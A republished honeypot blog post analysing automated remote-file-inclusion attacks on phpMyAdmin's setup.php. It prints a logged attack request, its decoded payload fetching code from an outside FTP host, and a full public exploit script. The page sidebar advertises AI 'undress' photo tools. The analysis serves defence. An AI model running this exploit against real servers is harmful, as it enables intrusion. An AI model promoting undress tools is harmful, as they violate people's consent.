Maison php教程 php手册 PhpMyAdmin setup.php RFI Attacks Detected

PhpMyAdmin setup.php RFI Attacks Detected

Jun 06, 2016 pm 08:00 PM
phpmyadmin

SpiderLabs is the corporate sponsor of the WASC Distributed Web Honeypots Project which is an awesome research project to identify automated web attacks. I was looking in our centralModSecurity AuditConsole logging host today and I noticed

SpiderLabs is the corporate sponsor of the WASC Distributed Web Honeypots Project which is an awesome research project to identify automated web attacks.  I was looking in our central ModSecurity AuditConsole logging host today and I noticed a spike in traffic from some Russian IPs that were scanning for the PMASA-2010-4 vulnerability in the PhpMyAdmin setup.php script.

PhpMyAdmin setup.php RFI Attacks Detected

Let's look at the raw ModSecurity audit log data of the inbound request:

--4064df0e-A--
[10/Apr/2012:18:05:55 +0000] T4R2gwowybkAAHp9G@sAAAAF 212.24.61.167 38767 XXX.XXX.XXX.XXX 80
--4064df0e-B--
POST /pma/scripts/setup.php HTTP/1.1
Connection: close
Host: 176.34.207.219
Referer: 176.34.207.219
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]
Content-Type: application/x-www-form-urlencoded
Content-Length: 238

--4064df0e-C--
action=lay_navigation&eoltype=unix&token=&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A55%3A%22ftp%3A%2F%2Fthewinecompany%3AgXNbUEwfLa%4046%2E32%2E228%2E222%2F%2Ea%2Fid%2Etxt%22%3B%7D%7D
Copier après la connexion

If we URL decode the request body data, we get this:

action=lay_navigation&eoltype=unix&token=&configuration=a:1:{i:0;O:10:"PMA_Config":1:
{<span><strong>s:6:"source";s:55:"ftp://thewinecompany:gXNbUEwfLa@46.32.228.222/.a/id.txt"</strong></span>;}}
Copier après la connexion

As you can see, the attacker is attempting overwrite the PhpMyAdmin configuration file by instructing it to use FTP to download and run the "id.txt" file on a remote site.  The contents of the id.txt file is PHP code:

<?php print(base64_decode("c3Q0cjc="));
echo(php_uname());
print(base64_decode("ZjFuMTVo"));
die;
?>
Copier après la connexion

Looking at what this file is doing, it appears to be a simple probe to identify if the target web application is vulnerable to this type of RFI attack.  If the application responds with the output from these PHP commands, then the attacker will proceed with other attacks.  SpiderLabs Research was able to find the following script in public forums that launch similar attacks:

/* wtf zmeu was here haha,yeah me... found this sh*t bug on pmasux */
$arguments = getopt("a:b:c");

$pma_setup_url = $arguments[a];
//echo $arguments[a];
$ftp_code = 'ftp://devil:devil@85.10.138.51/c.txt';

//$method = POST|GET, $url = http://site.com/path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent
function send_data($method, $url, $data = '', $referer_string = '', $cookie_string = '', $ua_string = '')
{
$return = '';
$feof_count = 0;
$parsed_url = parse_url($url);
$site = $parsed_url;
$path = $parsed_url;
$query = $parsed_url;

($method == 'GET' && !empty($data)) ? $path .= '?'.$data : '';
($method == 'POST' && !empty($query)) ? $path .= '?'.$query : '';

$fp = fsockopen($site, 80, $errno, $errstr, 30);
($method == 'POST') ? $out = "POST $path HTTP/1.1\r\n" : $out = "GET $path HTTP/1.1\r\n";
$out .= "Host: $site\r\n";
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
$out .= "Connection: Close\r\n";
$out .= "User-Agent: $ua_string\r\n";
$out .= "Referer: $referer_string\r\n";
$out .= "Cookie: $cookie_string\r\n";
($method == 'POST') ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" : $out .= "\r\n";
($method == 'POST') ? fwrite($fp, $out.$data) : fwrite($fp, $out);

while (!feof($fp))
{
if($feof_count >=200)
break;

$return .= fread($fp, 4800);
++$feof_count;
}

fclose($fp);
return $return;
}

$token_page = send_data('GET',$pma_setup_url,'',$pma_setup_url,'','Opera');

preg_match('@name="token" value="(a-f0-9{32})"@is',$token_page,$token_array);

$token = $token_array[1];

preg_match_all('@Set-Cookie: (<span>^\r\n;</span>+)@is',$token_page,$cookie_array);

$cookie_array = $cookie_array[1];
$cookie_array = implode("; ",$cookie_array);

print
send_data('POST',$pma_setup_url,'action=lay_navigation&eoltype=unix&token='.$token.'&configuration='.urlencode('a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($ftp_code).':"'.$ftp_code.'";}}'),$pma_setup_url,$cookie_array,'Opera');
Copier après la connexion

 This issue was patched in the php source code with the following update:

PhpMyAdmin setup.php RFI Attacks Detected
By filtering out non-word characters, it would prevent the attacker from injecting the RFI code.

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

Video Face Swap

Video Face Swap

Échangez les visages dans n'importe quelle vidéo sans effort grâce à notre outil d'échange de visage AI entièrement gratuit !

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Comment définir la clé primaire dans phpmyadmin Comment définir la clé primaire dans phpmyadmin Apr 07, 2024 pm 02:54 PM

La clé primaire d'une table est constituée d'une ou plusieurs colonnes qui identifient de manière unique chaque enregistrement de la table. Voici les étapes pour définir une clé primaire : Connectez-vous à phpMyAdmin. Sélectionnez la base de données et la table. Cochez la colonne que vous souhaitez utiliser comme clé primaire. Cliquez sur "Enregistrer les modifications". Les clés primaires offrent des avantages en matière d’intégrité des données, de vitesse de recherche et de modélisation des relations.

Où est le journal phpmyadmin ? Où est le journal phpmyadmin ? Apr 07, 2024 pm 12:57 PM

Emplacement par défaut des fichiers journaux PHPMyAdmin : Linux/Unix/macOS:/var/log/phpmyadminWindows : C:\xampp\phpMyAdmin\logs\ Objectif du fichier journal : Dépannage de la sécurité de l'audit

Comment ajouter des clés étrangères dans phpmyadmin Comment ajouter des clés étrangères dans phpmyadmin Apr 07, 2024 pm 02:36 PM

L'ajout d'une clé étrangère dans phpMyAdmin peut être réalisé en suivant ces étapes : Sélectionnez la table parent qui contient la clé étrangère. Modifiez la structure de la table parent et ajoutez de nouvelles colonnes dans "Colonnes". Activez les contraintes de clé étrangère et sélectionnez la table et la clé de référencement. Définir les opérations de mise à jour/suppression. Sauvegarder les modifications.

Quel est le mot de passe du compte phpmyadmin ? Quel est le mot de passe du compte phpmyadmin ? Apr 07, 2024 pm 01:09 PM

Le nom d'utilisateur et le mot de passe par défaut pour PHPMyAdmin sont root et vides. Pour des raisons de sécurité, il est recommandé de modifier le mot de passe par défaut. Méthode pour changer le mot de passe : 1. Connectez-vous à PHPMyAdmin ; 2. Sélectionnez « privilèges » 3. Saisissez le nouveau mot de passe et enregistrez-le. Lorsque vous oubliez votre mot de passe, vous pouvez le réinitialiser en arrêtant le service MySQL et en modifiant le fichier de configuration : 1. Ajoutez la ligne skip-grant-tables ; 2. Connectez-vous à la ligne de commande MySQL et réinitialisez le mot de passe root ; la table des autorisations ; 4. Supprimez la ligne skip-grant-tables, redémarrez le service MySQL.

Où existe la base de données wordpress ? Où existe la base de données wordpress ? Apr 15, 2024 pm 10:39 PM

La base de données WordPress est hébergée dans une base de données MySQL qui stocke toutes les données du site Web et est accessible via le tableau de bord de votre fournisseur d'hébergement, FTP ou phpMyAdmin. Le nom de la base de données est lié à l'URL du site Web ou au nom d'utilisateur, et l'accès nécessite l'utilisation des informations d'identification de la base de données, notamment le nom, le nom d'utilisateur, le mot de passe et le nom d'hôte, qui sont généralement stockés dans le fichier « wp-config.php ».

pourquoi l'accès à phpmyadmin a été refusé pourquoi l'accès à phpmyadmin a été refusé Apr 07, 2024 pm 01:03 PM

Raisons et solutions d'accès refusé par phpMyAdmin : Échec de l'authentification : Vérifiez si le nom d'utilisateur et le mot de passe sont corrects. Erreur de configuration du serveur : ajustez les paramètres du pare-feu et vérifiez si le port de la base de données est correct. Problème d'autorisations : accorder aux utilisateurs l'accès à la base de données. Délai d'expiration de la session : actualisez la page du navigateur et reconnectez-vous. Erreur de configuration phpMyAdmin : vérifiez le fichier de configuration et les autorisations du fichier pour vous assurer que les modules Apache requis sont activés. Problème de serveur : attendez un moment et réessayez ou contactez votre fournisseur d'hébergement.

Comment supprimer une table de données dans phpmyadmin Comment supprimer une table de données dans phpmyadmin Apr 07, 2024 pm 03:00 PM

Étapes pour supprimer une table de données dans phpMyAdmin : Sélectionnez la base de données et la table de données ; cliquez sur l'onglet « Action » ; sélectionnez l'option « Supprimer » ; confirmez et effectuez l'opération de suppression.

Où se trouve la vue associée de phpmyadmin Où se trouve la vue associée de phpmyadmin Apr 07, 2024 pm 01:00 PM

Les vues associées peuvent être trouvées dans le sous-menu Vues sous l'onglet Structure de phpMyAdmin. Pour y accéder, sélectionnez simplement la base de données, cliquez sur l'onglet "Structure", puis cliquez sur le sous-menu "Affichage".

See all articles